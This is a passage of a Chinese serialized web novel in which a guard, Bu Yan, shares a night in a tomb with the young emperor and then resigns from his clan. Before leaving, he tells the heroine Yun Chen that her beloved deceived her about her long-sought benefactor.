四周黑得伸手不见五指,没有一丝光线,也没有温度。
空气里是冷冰冰的泥土味道。
不言忍着身上各处伤口,先打量南璃君如何。
见她只是有些摔下坑的擦伤,他放下心来,赶紧从身上摸出霍帮的疗伤药服下,暂时止住了身上的血。
“估计是化雪之后,土层变软塌陷了。”不言说道。
回忆了一下坠坑之前的情景,他估摸着是掉进了墓道里。
江鸣的墓坑是当时他和云琛亲手挖的,时间匆忙,只有放棺材那么大一个坑。
那旁边就只有先皇后娘娘的墓,据说是皇后娘娘当年仙逝时所建,虽然非常简单,完全没有皇陵的规制,但好歹也是有主墓室、陪葬陵以及墓道的。
按距离估算,他与南璃君应该是掉进了塌陷的主墓道中。
山寂带来的杀机暂时躲过去,但保不齐他活要见人,死要见尸,稍后很可能挖土进来。
毕竟那家伙为了云琛,连一国皇帝都敢说杀就杀,没有什么是他干不出来的。
不言觉得赶紧离开这里为妙,取出腰间打火石和火折子,却没想火折子已被血浸湿,怎么都打不着。
这时,南璃君开口:
“墙上有火把,你试试看,能不能点着。”
不言寻着墙壁去摸,还真摸到两排火把。
他用打火石点燃,光线亮起,清楚地照出四周的轮廓,果真是掉进了主墓道。
不言有些忍不住感慨:
“大概是先皇后娘娘不忍见皇上您遭受危险,所以在天之灵坍塌墓道,救下您吧……”
对于不言这充满传奇话本味道的浪漫发言,南璃君没有回应,反而冷笑一声。
她起身拍拍身上的土,开始沿墓道向主墓室走去。
不言担心墓里有防盗墓贼的机关,赶紧去拦,南璃君却说:
“这里什么都没有,我来过,我知道。”
不言只好随南璃君一同往前走,但仍不敢放松警惕,一直走在前面,去先点燃火把。
走进主墓室,一口巨大的石棺出现在眼前。
石棺置于莲花高台上,四周刻着样式古朴但线条优美的花纹,看起来颇有前朝司马世家之风。
见此,不言赶紧要向棺材叩头行礼,南璃君却不在意地摆摆手。
“不用,里面是空的。母后的
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遗体好多年前就转去皇陵了。”
不言抬头望去,石棺没有盖棺盖,里面空荡荡的,真的什么都没有。
在不言惊讶的目光中,南璃君自顾从莲花台底下拖出一个包裹。
打开来,里面都是些已经发霉的干粮、几乎碎成片的衣物,还有几只宝石雕刻的蜻蜓,看起来都是宫中之物。
南璃君靠着棺材坐下,拿起一只宝石蜻蜓。
那薄如蝉翼的翅膀被火光照得流光溢彩,斑驳的光影投射在石棺上,漂亮极了。
“我最后一次见到母后,是我骗她说要午睡,实际上偷偷跑去爬树了。等我再醒来的时候,所有人都说,母后呕着血、流着泪走了,再也不会回来。
从那以后,那么大的宫里,就只有父皇和我。父皇每天不是忙着朝政,就是在母后的寝宫里成夜成夜地坐着,我时常隔着殿门听见他在哭,可推开殿门时,他却非说他没有哭,还说只要十年,母后就一定会回来。
十年,原来如此。我开始算日子,每天折一只纸蜻蜓,好等母后回来时送给她。一天折一只,一年三百六十五只,十年就是三千六百五十二只……我每天都折,一天都不敢漏,我不想错过娘回来的那天……
后来,我偷听到枭泽对父皇说什么母后在苍海城香消崖。我实在太想母后了,想得整夜整夜睡不着,睡着了梦里也在想,我就收拾了包裹,偷偷跑出宫,跑到这香消崖来。
江鸣在这里守墓,他打开墓道,点亮火把,许我进去。我欢天喜地地喊着‘母后’,一路跑进来,却只看见一副空空的棺材,什么都没有。
我哭着问江鸣,母后去哪了,江鸣说,等我再长大一些就知道了,等十六岁的时候再来这里,他一定告诉我。于是我将包裹留在这里,想等十六岁的时候再来。
后来没有等到十六岁,我便知道,母后永远也不会回来了……”
南璃君的声音很轻,回荡在空荡荡的墓室里,显得格外悲凉。
不言不敢想象小小的南璃君对着棺材痛哭流涕、呼喊母后的样子,光是听着都心酸。
**该怎么安慰,南璃君却勉强地笑笑:
“都是过去的事了,这么多年,再深的伤痕也都愈合了,我没事。”
见不言还是一脸沉痛,她索性作出无所谓的样子,拍拍石棺,笑道:
“看来今晚,我们得在这里过夜了。”
第389章 洪峰
看来今晚只能在石棺过夜了。
不言赶紧将包裹里的碎布、身上的铠甲和外衣,将能找到的一切都铺进石棺。
“皇上,今夜得委屈您在这里睡,我为您守夜,想办法挖路出去。”
南璃君顺从地点点头,但石棺又高又深,她不敢翻进去,不言只好将她横腰抱起,而后跳进石棺。
就在不言想要将南璃君放下的时候,她望着眼前年轻而周正的男人,突然抬手环住他的脖子,将脸贴近他胸膛,闷声道:
“不言,就在这里陪我吧,我一个人害怕……”
犹豫了一下,不言还是觉得太过于礼不合,刚开口叫了声“皇上”,南璃君却更紧地抱住他,语气带着恳求:
“叫我‘阿璃’好吗,就像小时候母后那样唤我,好不好?”
不言心头一软,轻声唤了句:
“阿璃。”
这两个字一下触动南璃君的心弦,她放声大哭,眼泪打湿不言的胸口,哭声哀怨地回荡在墓室里。
一直到哭够了,南璃君才抬起满是泪痕的脸庞,看着近在咫尺的男人。
“谢谢你,不言。”
不言瞧着眼前哭得梨花带雨的绝世美人,那些所有被他刻意压制的情感,再次汹涌而出。
他想说“阿璃,我很荣幸听到你这些从不对人言说的故事,从今以后,不论什么,你都可以对我说”,但话还没说出口,南璃君突然勾住他后颈,仰身吻住了他的唇。
他大脑一片空白,怔怔地睁大眼睛,呆呆盯着她长长的睫毛,那上面还挂着细小的泪珠。
她睫毛微微颤抖,瓷白的肌肤上全是星点粉色哭痕。
“不言,你爱我吗?”她温软的唇离开他,那样哀求地问。
所有理智都已堤溃,不言点点头,目光落在她娇艳的红唇上,呼吸开始变得错乱。
她再次攀上他的肩去吻他。
这一次不是蜻蜓点水,而是流连吮吸,感受到不言逐渐紧绷的身体和越来越急促的呼吸,南璃君的手缓缓下移,解开了他血迹斑驳的腰带。
很快,石棺里春风涌动,雪白紧紧缠绕着血色,一起攀上那春洪的波峰。
……
……
一切都发生得太突然,不言做梦都没想到会有这么一天。
哪怕南璃君用雪白又柔软的身子从后抱着他,滚烫地贴着他的脊背,他还是有一种不真实的感觉。
但胯下传来的感觉告诉他,这真的发生了。
他的脸有些发烫。
他不习惯赤身,尤其在南璃君面前,便先将外衣披在南璃君身上,然后捡起自己的衣服,跳出石棺。
他走到主墓室旁边的耳室去穿衣服,一进门,却被里面一副巨大的骸骨吓了一跳。
他定神看去,像是虎骨。
那虎头比他整个人还要大,肋骨像房梁一样粗。从头骨到尾骨,足足占满了整间耳室。
难以想象,若在这副巨大的骨架上填充满血肉,再加上金黄坚韧的皮**,得是一头多么雄伟的巨兽。
估计这就是传说中皇后娘娘生前豢养的神虎。
的确也只有这种神物,才能配得起皇后娘娘那样的传奇英雄。
不言忍不住开始想象皇后娘娘当年的风姿:
身骑神虎,手持承郢大刀,就像云琛那样女扮男装英姿飒爽,却有着世人难以企及的谋略通天。
“在那个人与神交界的时代,她身上烙有最后的神性。”南璃君走过来说道,为不言的想象添上了完美的句号。
不言感叹,“若非有神,谁人能驾驭这等神虎。”
这话引起南璃君嗤笑,“我刚说的是话本上写的,说书先生吸引客人的伎俩,有什么好信的。”
不言摇摇头,“我信。”他只恨自己没能生在前朝,若能和皇后娘娘一个时代,亲眼看看她骑神虎的样子,真是死都瞑目。
他轻轻抚摸着虎骨,细细打量,注意到虎头没有犬齿,而且旁边还有一颗臼齿也没了。一共
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少了三颗牙齿。
“看起来像是生前被挖掉的,谁这么心狠?”不言觉得可惜,更惊奇竟有人能在神虎活着的时候虎口拔牙,得是何等勇气和本事才可以做到。
南璃君倚靠在不言肩头,有点顽皮又有些高深莫测地笑着:
“你猜?”
不言想了想,试探着问:
“是……你吗?”
南璃君做了个有些无语的表情,接着说出了一个完全令不言想不到的名字——
“霍乾念。”
南璃君道:“我与霍乾念的相识,早过你们所有人。那时霍家替先皇讨伐东炎,杀了东炎一个王爷,被其亲信寻仇,**了霍乾念的母亲杜婉意,一番羞辱折磨后又放了回来。从那以后,他母亲杜婉意抑郁抱病,霍家父子遍寻名医,得知神虎齿骨可安魂疗心,霍乾念便来向我讨神虎的牙齿。
神虎是我母后留下的,我自然不肯。他便趁围猎之时,与他两个什么结拜兄弟,设陷阱围困神虎,生生拔下虎牙。可惜还没等他拿着虎牙回家,他母亲杜婉意便病逝了。为此事,神虎身受重伤,奄奄一息,独自离开京都,一直走到这香消崖墓才死去,而我也恨极了霍乾念,求父皇将他处死。
念在霍家功勋,霍乾念的母亲是因讨伐东炎而无辜受牵连,再加上父皇感念霍乾念一片孝心,便只打了他一顿板子,将他两个结拜兄弟处死。过了两个月,霍乾念伤好下地之后,第一件事便是入宫寻我,借口不小心,摔坏了我最喜爱的一箱宝石蜻蜓。”
南璃君将从包裹里拿出来的宝石蜻蜓放进不言的手中:
“就剩最后这几只了,不言,你说他心狠不狠。”
似乎是留恋不言的温存,南璃君柔若无骨地倚靠着他,全然没注意到不言异样震惊又绝望的表情。
“两颗獠牙和一颗臼齿,可以做什么……”
“不知道,得问问宫里的工匠,大概可以做两把虎牙**,一只虎骨吊坠吧。”
第390章 请辞
五月初一,夏来。
苏正阳携一万京军赶到香消崖的时候,外圈围满了敌军最精锐的攻击小队,正在商讨要不要强攻进崖。
两方迅速厮杀在一起,终于引得盟约国之一的昭国出兵讨伐,平息了香消崖外的血斗。
等苏正阳带人冲进悬崖时,只见数十道血红色的身影拔地而起,一晃就不见了。
先皇后的坟墓旁已被挖出一个深坑,看样子是通往墓道的。
苏正阳不知道是谁在这里挖什么,见四周没有南璃君的身影,他预感不妙,赶紧继续挖坑,终于将南璃君和不言救出。
另一边,霍乾念以令西北边防军偷袭洛疆老巢为先策,以熊吼之号佯装洛疆王熊顿诈死复生,引洛疆兵军心溃散;
加之云琛焚白头山雪洪淹没敌军主力,重伤焦左泰,头曼也**。
至此,这场关乎楠国前途命运的决战终于结束,这场漂亮的翻身仗成功击破敌军的联合防线,守住了幽州屏障。
但胜利的代价也是巨大的。
八万将士和民兵,最后清算下来只剩两万不到。
民兵阵亡八成,娃娃兵们几乎全部战死,女兵要么壮烈牺牲,要么就在被黑鳞骑兵俘虏时拔刀自刎。
白头山那么洁白的雪水流进幽州,离开时却是一条血红暗河,永远沉没了许多忠骨。
这一仗几乎打光了幽州的青壮少年,大街上除了白发苍苍的蹒跚老者,几乎再不见其他行人,大约几十年都无法恢复到从前的繁荣。
南璃君御赐幽州“英雄关”,当即宣布幽州五十年不税捐,百年不征兵,褒奖这英雄的州城。
然而战争还没有结束,东南还在哀鸣。
南璃君继与幽州同生共死、大战在前不畏不退,收获了诸多民心和赞扬之后,当众宣布两道圣旨:
一将用兵大权交予霍乾念和云琛,狮威军与虎威军任其调度,朝廷接下来只援助军饷粮草一干事务,有求必应,绝不干涉其他,待收复东部国土后,必拜霍乾念摄政王,封云琛武丞相;
二则称赞无义血卫乃是救国于水火的江湖义士,护驾有功,特将毗邻京都的酆都山赐予无义血卫开山立门。
经此一举,上至朝野,下至民间,全都称赞南璃君胸怀宽广有帝王之魄,再无人对其登基有异议。
京都皇宫开始准备盛大的登基典礼,准备迎接新皇回宫。
……
……
御驾将离开幽州的前夜,不言独自一人来到云府。
站在大门外,他听见府里热闹的说话声。
走进前院,几个半大的孩子正在奔跑玩耍,张久之在一旁看护。
贾妈妈想给孩子们擦鼻涕,奈何不及那些小短腿跑得快,好不容易抓到一个孩子,结果就跟抓到一条活蹦乱跳的泥鳅似的,立马又被溜走。
穿过孩子们的笑声,不言站定在前厅门口。
里面灯火通明,酒香菜香四溢。
不言站在灯火照不到的阴影里,看着厅里荣易和罗东东坐在靠门的位置,前者抱着锅一样大的酒坛子往碗里倒,后者死命用仅剩的一只手护住酒碗,大喊:
“你别灌俺!”
旁观的伏霖和段捷哈哈大笑,还没笑完,荣易的酒就泼到了他们二人的碗里,吓得二人赶紧推搡起来,惊叫:
“都说人是水做的,我看荣易是酒水做的!”
“还得是烈酒!哈哈哈哈——”云岚夫妇从旁笑起,见云恬还在一旁心疼夫君与劫运粮草的敌人对战时受的伤,云岚揶揄道:
“啧啧,赶紧请大夫吧,再不请,伤都愈合了!”
众人哈哈大笑,云恬闹得大红脸,只得将头躲到夫君肩膀后面,恼道:
“琛姐姐在这呢!你休要欺负我!”
被点到名的云琛放下碗里的大猪肘子,身旁的霍乾念动作熟练地拿过碗,开始拆骨剥肉。
云琛看向主位上一脸慈祥、笑看着众人嬉闹的白氏,说道:
“母亲在这呢,母亲管吧,我可不敢管。”
白氏大惊失色,连连摆手:“我也不敢!”
这逗得众人哈哈笑起,就连一旁的叶峮也罕见地露出些笑容,接着神情落寞,出神地看向院里嬉闹的孩童身影。
要是他的一双儿女还在的话……
想到这里,叶峮眼睛有些酸疼,他擦擦眼眶,朝别处看去,终于发现了站在阴影里的不言,招呼道:
“你小子再不来,菜都凉完了!”
这话引起所有人的注意
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,纷纷向门口看去,立马全都嚷嚷起来:
“迟到的自罚三碗啊!”
“这酒得荣易倒才有诚意!快摆起!”
“大肘子给我不言哥留一个!”
“还有一个凳子呢?操,怎么踢到那去了!罗东东,帮忙拿一下!”
“你真他娘会找人!全场就俺是一个胳膊,你就使唤俺!”
“哈哈哈哈哈——”
众人的笑闹声如铺天盖地的温泉海浪,朝着不言迎面扑去。
要换作从前,不言定然大叫着冲过去加入,开始挨个拼酒笑骂,非要喝他个人仰马翻,碎碎念到所有人都捂着耳朵求饶不可。
可现在,看着眼前明明已想念很久的情景,他却只感到一种强烈的格格不入。
见不言一直站在那里发愣,云琛跳上凳子招手,端起碗里已经剥好的猪肘子给他看,高兴地咧嘴道:
“快来,不言哥!这有现成剥好的大肘子!我让给你!贼拉香!”
身旁霍乾念一脸宠溺地摇摇头,只得又拿出另一只大肘子开始剥。
不言被众人推搡着坐下,一口菜还没吃到,三只海大的酒碗先伸了过来。
“来来来,老规矩,先润润嗓子!”
“润完再来三碗漱漱口!”
“吃完再来三碗溜溜缝!哈哈哈哈哈!”
在众人的嬉闹和注目中,不言提起第一只酒碗一饮而尽。
接着第二只,第三只,第四只,第五只……
这时众人才发现不言的情绪不太对劲,神色很不寻常,不由慢慢停下笑声。
喝罢六碗酒,不言紧紧抿着嘴,像是被辣得狠了,他的脸色有点发白,眼圈有点红。
垂首沉默片刻,不言抬头看向霍乾念,开口道:
“少主,我想请辞。”
不言说完,空气静了一瞬,接着又爆发出大笑,众人纷纷开始腌臜起来:
说什么“哟哟哟,暗卫小哥吃醋了,气我们打仗不带他呗!”“咋了,一言不合就离家出走?”“请辞?你特么辞哪去?”
众人说着玩笑话,不言没有回任何一句。
再看霍乾念神情平静,毫无意外之色,仿佛早就知道什么的样子,众人一下就笑不出来了,知道不言是来真的。
第391章 比登天还难
霍乾念平静的神情,让所有人都明白,不言是来真的。
也让不言知道,南璃君的贴身宫人刺杀云琛之事,霍乾念一早就知道了。
也许,霍乾念甚至比不言自己还早,预料到了这“异心”。
不追究那刺杀,就代表他放弃不言了吧。
见场面尴尬,像是要说什么大事的样子,白氏连忙找了个借口回房休息。
云岚和云恬夫妇也纷纷离场,走之前,云恬的相公还顺走了云恬最爱的一盘桂花糯米藕。
少了一半的人,厅里立马气氛更冷。
不言从椅子上站起来,后退三步,退到与所有人都划清界限的位置,朝霍乾念单膝跪地,声音低沉,但十分坚定道:
“少主,我想请辞,请您准许。”
云琛耳朵伤着,不言说了两遍,她都没有听清,只是从其他人的脸色看出十分不对劲。
她大声问不言:“你说啥?你要‘成亲’?和谁?”
不言回答:“我已接受皇上封赏,要离开霍帮,去做御前侍卫。”
此话一出,众人表情各异。云琛也彻底听得清清楚楚。
段捷与伏霖对视一眼,没有说话;荣易皱着眉头想骂人,话到嘴边又停下来,只作口型没有出声,但仍能看出骂的挺脏。
罗东东则重重地叹了口气,一口闷掉碗里的酒,他不想用鄙夷的眼神去看不言,只能将头偏在一边。
最后只剩叶峮和云琛。
不言不知道他们是什么表情,他没有抬头去看。
良久的沉默之后,云琛向不言举起酒碗:
“不言哥,那就祝你……”
云琛声音顿住,令不言抬头看来。
对视的一刻,她瞬间红了眼眶,脸上强挤出个笑容,继续道:
“祝你前程似锦,所求如愿。”
说罢,云琛仰头干掉碗中酒,接着头也不回地大步离开,生怕自己走得不够快,又听见不言说出什么捅人心窝子的话。
但她还是听到叶峮用几乎变形的声音愤怒质问:
“**在胡说什么?!你要请辞去护卫皇上?为什么?给我个理由!!”
不言没有回答,云琛听见桌椅咣当碰撞,人声大作,像是叶峮要冲过去,却被其他人拦住了。
在离开云府之前,她最后听见的,是叶峮带着哭腔的质问大吼:
“**是霍帮亲卫啊!亲卫啊!!我们一起出生入死十三年!!**十三年啊!!为什么要请辞?为什么背叛?!为什么要抛弃兄弟!!你说啊!!!”
云琛捂住耳朵开始狂奔,仓皇逃出府门,一下都不敢回头。
她像只没头苍蝇一样在城里四处乱窜。
战争让这广原城几乎成了一座空城,到处黑压压一片,没有灯火。
她心里堵得发慌,脑袋里乱糟糟的,全是和不言肝胆相照的过往,一幕幕纷涌,像走马灯一样,怎么都停不下来。
等她脑子清醒过来的时候,竟不知不觉跑到了十里道观处。
繁盛的海棠林中,旧坟静静地立在道观旁。
一束束风干的褪蓝色海棠花插在坟前,像是有心人在海棠花最繁盛的时候采摘下,将这份爱意存起来,然后在最寂寞的时候拿出来,这日子就永远有盼头。
云琛走到坟前跪下,唤了声“娘”。
“娘,为什么真心总是瞬息万变,同生共死还不够?两肋插刀也不配?人与人之间的情义,总是看起来固若金汤,实则轻轻一触就碎吗……
娘,我最好的兄弟要离开了,去奔更好的前程,奔向他的心上人。我应该替他高兴不是吗……可我为什么就是特别难受呢……”
云琛心里憋得慌,一边抹眼泪,一边在沈悠宁坟前絮叨着心里话,压根没听到有人靠近,直到来人开口:
“你就当他**,心里会好受很多。”
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云琛回头望去,山寂正倚在一旁的海棠树上,显然刚才的话他都听见了。
“琛儿,你难受,是因为你心里不想承认他是叛徒。你若肯承认这一点,就只会生气,不会伤心。”
云琛用袖子擦擦眼泪,“不言哥不是叛徒,他喜欢皇上,大概是因为这原因才想去当御前侍卫的。”
“别自说自话了。”山寂走上前,用指关节敲敲她脑袋,“他喜欢南璃君是今日才开始的?喜欢那么久都没想过请辞,怎么如今就要辞了?
我问你,如果他今日请辞,是去给云望当护卫,或者给哪个你不认识的皇帝当侍卫去,而不是给又要用你们,还要处处猜忌、打压你们的南璃君,你还会这么难受吗?”
不会。
云琛心里立马就有答案。
她不得不承认山寂说得完全对,每个字都精准地踩在要害上,也让她更加难受。
“别哭啦。”山寂捏捏她的脸,又疼惜地捏捏她的耳朵,回头看了眼身后的道观,无奈道:
“小女子都爱哭。前几日阾玉哭,今儿又是你哭。我堂堂无义血卫掌门,天天忙着哄姑娘擦眼泪,你说像话吗?”
云琛破涕为笑,有些惊讶地问:
“阾玉怎么在这里?阿念不是让你护送她回京都霍帮吗?她到幽州来干嘛?她老家不是这里,是烟城。”
山寂嘴巴动了动,没说话,云琛又问:
“前几日她哭了?我们决战的时候?她有什么事吗?哭啥呢?”
除了因为担心你!还能为啥哭?这话山寂忍住没说。
他眼神纠结,一脸复杂:
“我挺服你的,琛儿。不,我服霍乾念,能让你这个榆木脑袋开窍,简直比登天还难。”
云琛一脸莫名其妙,不知道山寂在说些什么,后者见状更是无奈苦笑,只能仰天长叹一句:
“唉……可怜的阾玉啊……”
第392章 铜墙铁壁
山寂说,从离开白头山以后,霍阾玉就一直在这道观住着,过的清汤寡水,无欲无求,跟要出家似的。
要不是听说云琛战时受伤,耳朵有些听不见了,山寂差点怀疑霍阾玉已经清心寡欲到连眼泪都没了。
可惜神女有意,另一个神女无梦。
霍阾玉的心意仍旧撞在云琛榆木做的“铜墙铁壁”上,得到的只有愧疚和避嫌,没有一点应有的怜惜和回应。
“进去坐会儿吧,春夜还冷呢,别冻着。”山寂说。
云琛连连摆手,“不了,阾玉在里面呢,见了总是扰她伤心。”
“……”山寂在心里骂了句“大爷的”,心说你这小妮子该开窍时不开窍,这会脑瓜子倒转的挺快,想把你骗进去让阾玉看看都不成。
无奈,山寂只能道:
“那你慢些回去,路上小心。记着我说过的话,背叛者就当他**。另外那狗皇帝你也小心些,扮猪吃老虎的家伙,别被她骗了。”
云琛赶紧环顾四周,做贼一样警惕的样子,惹得山寂发笑。
她紧张道:“胡说八道啥呢!怎么能那样说皇上!小心被人听见,给你抓起来治罪!”
知道云琛还对自己被刺杀过的事一无所知。
老实讲,其实山寂也不能确定,主使到底是不是南璃君,但他还是看进云琛的眼睛,认真说道:
“你昏迷的时候,南璃君的贴身宫人刺杀过你。老实讲,我无法确定主使是不是她。我和霍乾念推论过,甚至感觉她的目标不是你,更像是演苦情戏给不言看。不管怎样,只要她杀意不在你就好。你平时要多当心,多听霍乾念的的话。”
山寂噼里啪啦说完一大堆,云琛的表情愣愣的,显然跟听天书似的,新鲜且不信。
山寂只好放弃,转为说些她能听懂的说:
“这样说吧,南璃君圣旨里口口声声说什么兵权给你和霍乾念,绝不干涉,听起来真大气,实际你们就剩两万人,接下来如何屯兵打仗收复东南,她甩手不管,落个明君美名,大难题全得靠你们自己!傻子!防着她点吧!”
这与军务相关的,云琛一下就听明白了。
她理解山寂的意思,但也能明白南璃君。从南璃君的角度看过去,招揽民心没有错,本来就是皇帝该做的事。
于是她反过来安慰山寂:“别想那么多啦,皇上深处高位,自有她的难处,哥你别那么轻视她。对了,你们这次护送皇上去香消崖,她还褒奖你呢,说明她——”
“褒她娘的屁!”山寂大骂一句,打断云琛,看着自己这个长不出半点鬼心眼的妹妹,他越发觉得霍乾念挺好,就得找这样心眼多的护着她。
山寂骂道:“我无义血卫立足江湖,根基原则在于中立,只要有钱,所有人一视同仁。她却昭告天下说什么‘褒奖’,摆明了告诉所有人,我无义血卫立场偏颇,为楠国一派。
搅了我今后许多生意不说,还降低了我门派神秘的调性!赐什么酆都山给我?咋?想让全天下都知道我住在哪,好哪天有仇家来寻仇?妈的,又当**又立牌坊,玩得一手好心眼。眼下时机不好,等过一阵老子还杀她!”
云琛敏锐地从这段话里找到关键字,哆嗦着问:
“‘还’……是几个意思?”
山寂吊儿郎当地抖着腿,“‘还’就是在香消崖时想杀她来着,结果被你们那个叛徒不言搅和了,没成。”
“……”
“其实也不是真要杀她。毕竟她没那胆子触霍乾念逆鳞。但拿你和亲那件事,足以证明她忌惮你。所以我无论如何都要敲打吓唬她一下。至于以后杀不杀的,看她表现了。现在她既褒奖我,就是示好给台阶的意思,我暂且接受了。”
云琛沉默了。
半天才又开口,建议道:
“哥……你要不考虑换个国家生活呢?”
……
……
不多时,待云琛走后,山寂重新推门走进道观。
霍阾玉静静地在院中坐着,手里握着早已凉透的茶盏。
“走了?”
“走了。”
“没和她说我要出家修行的事吧?”
“没。你不都一直听着呢么。你希望我说呢,还是希望我不说?”
“不说吧。”
“好,都依你。”
霍阾玉勉强抬起嘴角,露出个有些惨淡的笑容。
云琛如今耳朵不太好,说话声音大,山寂方才与她讲话时,也声音很大。
二人的对话,霍阾玉全听在耳里。
云琛提及她霍阾玉时,唯有一句“不了,见了总是伤心”,再无其他。
“挺好的,她从来都不是伪装的人。”霍阾玉自嘲安慰,“真就是真,假就是假。”
爱就是死心塌地付出一切,不爱也绝不撩拨纠缠。
云琛从来都是这样的人,可偏偏她越直白越决绝,就越让人爱而不得,痛苦得想发疯。
她就像一片引着人跳下去的雪湖,纯白预兆着极乐,内里却是带着冷气的清澈潋滟。
霍阾玉不停
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地深呼吸,好像这样眼泪就不会掉下来。
山寂却根本不由霍阾玉一个人在那里吞吐情绪,直接上前一把扛起她,不顾她惊呼踢打,两腿撒开,朝道观后的无名山狂奔而去。
黑夜里,血红色的身影如最敏捷的兔子一般跳跃。
山寂扛着霍阾玉攀上山顶,将人放下时,他气息微喘,目光微灼地看着霍阾玉。
“你重了。比从白头山背你下山时多了些份量,看来这些日子我没白养。”
住在幽州的两个月,衣食住行全是山寂负责,就连霍乾念寄来的金银用度,都是山寂经手打点。
霍阾玉一开始还觉得别扭,后来也渐渐习惯了。
面对山寂这带两分暧昧的话,霍阾玉脸颊微红,没有说话。
山寂勾起一抹得逞的坏笑。他向来知分寸,点到为止即可。
“就在这待着吧,到天亮为止。”
霍阾玉不解,但还是听话照做,乖乖地走到一旁的石墩子坐下,蜷腿托腮,像极了一只乖巧的白猫。
山寂不禁心头又是一动,将外衣解下来披在她的肩头。
霍阾玉惊讶地看了他一眼。
毕竟是第一次披他还带着体温的外衣,这种程度的亲密让她有点无措。
“山寂,别在我身上浪费时间了。你很好,可我还不起。”
山寂只穿着一身白色单衣,找了块舒服的草地躺上去,大大咧咧地伸了个懒腰,不在意道:
“我是喜欢你,但这是我的事,与你无关。”
霍阾玉蓦地生出些脾气,表情也严肃起来:
“可你一直对我好,我就会一直愧疚。”
“关我什么事?”
“哈?是你在单方面付出,扔着你偌大的无义血卫不管,就不怕时间一长,他们不听你的了?你总将日子耗在我身上,什么也等不到啊!”
“关你什么事?”
“……”
霍阾玉彻底无语,任她说什么,山寂来来**都只有这两句话。
最后她恼极了,冲过去踢他,后者仍旧没皮没脸地躺在地上,只摆着腰去躲,让她每一脚都落空,一副“你奈我何”的样子。
踢了半天,霍阾玉一脚都没踢到,倒把她自己累得直喘气。
山寂忍不住大笑,声音爽朗,惹得霍阾玉也绷不住笑起来,再也没了方才的忧郁。
“山寂,你带我来这里干什么。”
“等天亮。”
“等天亮干什么,看日出吗?我常看的。”
“不,天亮会有礼物。”
第393章 他骗了你
另一边,云琛离开道观之后,突然觉得无处可去。
回云府吧,她怕场面还乱着,她不想看见众人“讨伐”不言的样子。
回营地吧,如今的将士们稀稀拉拉,全是陌生的脸孔,连个说话的熟人都没有。
估摸再有一个时辰就要天亮,南璃君回京的御驾即将起程,所有人都要去跪送。她想,索性挨到那个时候直接过去吧,便在空荡荡的街上踢石子玩,一点点熬着时间。
“啪嗒”“啪嗒”,石子落在地上,发出空旷的回响。
她将一颗石子踢进巷口黑暗里,刚转身要走,石子又飞了回来,骨碌碌落在她脚边打转。
“谁?”她本能戒备。
一个高瘦的人影慢慢走出黑暗,不言的脸出现在面前。
云琛愣了一下,浑身戒备放松,低头沉默片刻,抬头照旧笑起,叫他:
“不言哥。”
很普通的三个字,天天都在喊的称呼,可这会不言却觉得十分珍贵。
因为如今所有人都愤怒、失望、疑惑不解地喊他作:叛徒,背弃者。
“阿琛,你恨我吗?”
她摇摇头,没有作声。
不言苦笑,“在霍帮待了十几年,任谁听了都觉得,我是要带着无数少主和霍帮的机密去投奔皇上,无品无德,小人至极。若我说,我绝不会透露一丝半点机密,只是去护卫皇上这个人,想陪她到我能战斗的最后一刻,你信吗?”
想了一会儿,云琛点点头:
“我信。”
看着云琛认真思考过后给出的答案,不言一下就释怀了。
“阿琛,照顾好自己。”
今日起,大路朝天,我们各走一边。
你走你的光明途,我走我的不归路。
再没有互相照应,那些年一起出生入死的情分都在此刻被封存。
云琛眼眶有些酸楚,真诚地说:
“你也是,不言哥,照顾好自己。”
说罢,她转身要走,不言的神情却突然变得肃然,再次说道:
“阿琛,照顾好自己。我认真的。”
云琛不解地停下脚步,不言又说:
“阿琛,不要总觉得身边都是好人。那只是他们将最好的一面展示给你而已。这世上没有几个人像你一样没有阴暗面,他们擅长欺骗,利用……人性的低点会低到你无法想象……阿琛,我真的很担心你。”
看着不言一脸严肃认真,云琛有点茫然:
“不言哥,你将话说清楚些?谁利用我骗我了?”
段捷?伏霖?还是罗东东和荣易?或者叶峮?要么山寂和霍阾玉?再或者云望?
所有人的脸从她脑海快速闪过一遍,每个人都是一样的真诚可亲,她想不出谁会欺骗利用她。
“没关系,有阿念在,我什么也不怕。”她无比笃定地说。
不言的表情瞬间变得复杂又晦暗。
挣扎许久,或许是不忍这世间难得的纯白被当作蠢物戏耍。
再或许,是怕看见真相大白的那天,云琛面对巨峰坍塌时,定然要绝望崩溃,不言深吸一口气,说道:
“阿琛,我也好,皇上也好,亦或是……少主。每个人都有黑色的一面,也有白
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色的一面。少主将白色给你,将黑色藏起来,不代表黑色不存在,明白吗?”
云琛皱眉看着不言,表情像在说“你在讲什么巴拉巴拉阿巴阿巴?”
不言叹口气,只能用最直白的大白话道:
“阿琛,少主也是会骗人的。”
云琛道:“我知道。他又不是靠傻白甜做霍帮少主的。”
“对,所以少主也是会骗人的。也许,他比所有人都会骗人,也骗了所有人,包括你。”
“阿念不会骗我。不言哥,你不该这样说。”
“那你去问问他‘梅花破月’是谁,就知道他是不是也会骗你了。”
当说出“梅花破月”四个字的时候,云琛整个人都愣了。
不言道:“当年救**恩人,有一块‘梅花破月’的玉佩,对吗?”
云琛瞪大眼睛,“这话我没有给任何人说过,除了——”
“狗哥和小六。”不言抢过她的话,“除了对狗哥和小六,你没有对任何人说过。甚至怕总提这事,会让少主误会你有二心,便也没有对少主说过。但狗哥对少主说了。
狗哥认为少主是你可托付终身的人,便将这秘密告诉了少主,希望他死之后,少主能继续去寻,帮你找到当年的恩人。阿琛,这些年不管多兵荒马乱,忙得不可开交,你都从来没有忘记过你的恩主,只要有顺路的机会,你都会去找,对吗?”
不言眉头紧皱,眼神怜悯不忍,语气也深深歉疚:
“梅花破月的玉佩,是少主命我亲自找到并销毁的。阿琛,少主他骗了你。”
第394章 恩主的真相
阿琛,少主他骗了你。
在听到这句话的时候,云琛第一反应是想给不言一拳,骂他怎能一离开霍帮就挑拨她与霍乾念?
可紧攥的拳头迟迟没有挥出。
“梅花破月”这个精准的名字,已足够说明所有。
在不言悲悯的目光中,云琛掉头奔向云府。
她想要亲口听霍乾念说,是不是他早就知道梅花破月的主人,早就知道她的恩主是谁,却一直暗中欺瞒?
像个冷血的旁观者,眼睁睁看着她遍寻恩主无果!一次次对她的失望遗憾无动于衷!
甚至还要专门派不言去摧毁信物,恨不能叫她永生永世都不知道恩主是谁?
她以全部真心待他,换来的却是他的刻意欺骗吗?
揣着满肚子焦灼和疑问,云琛一口气冲回云府。
前厅里,所有人几乎都已离开,只有霍乾念还在等她。
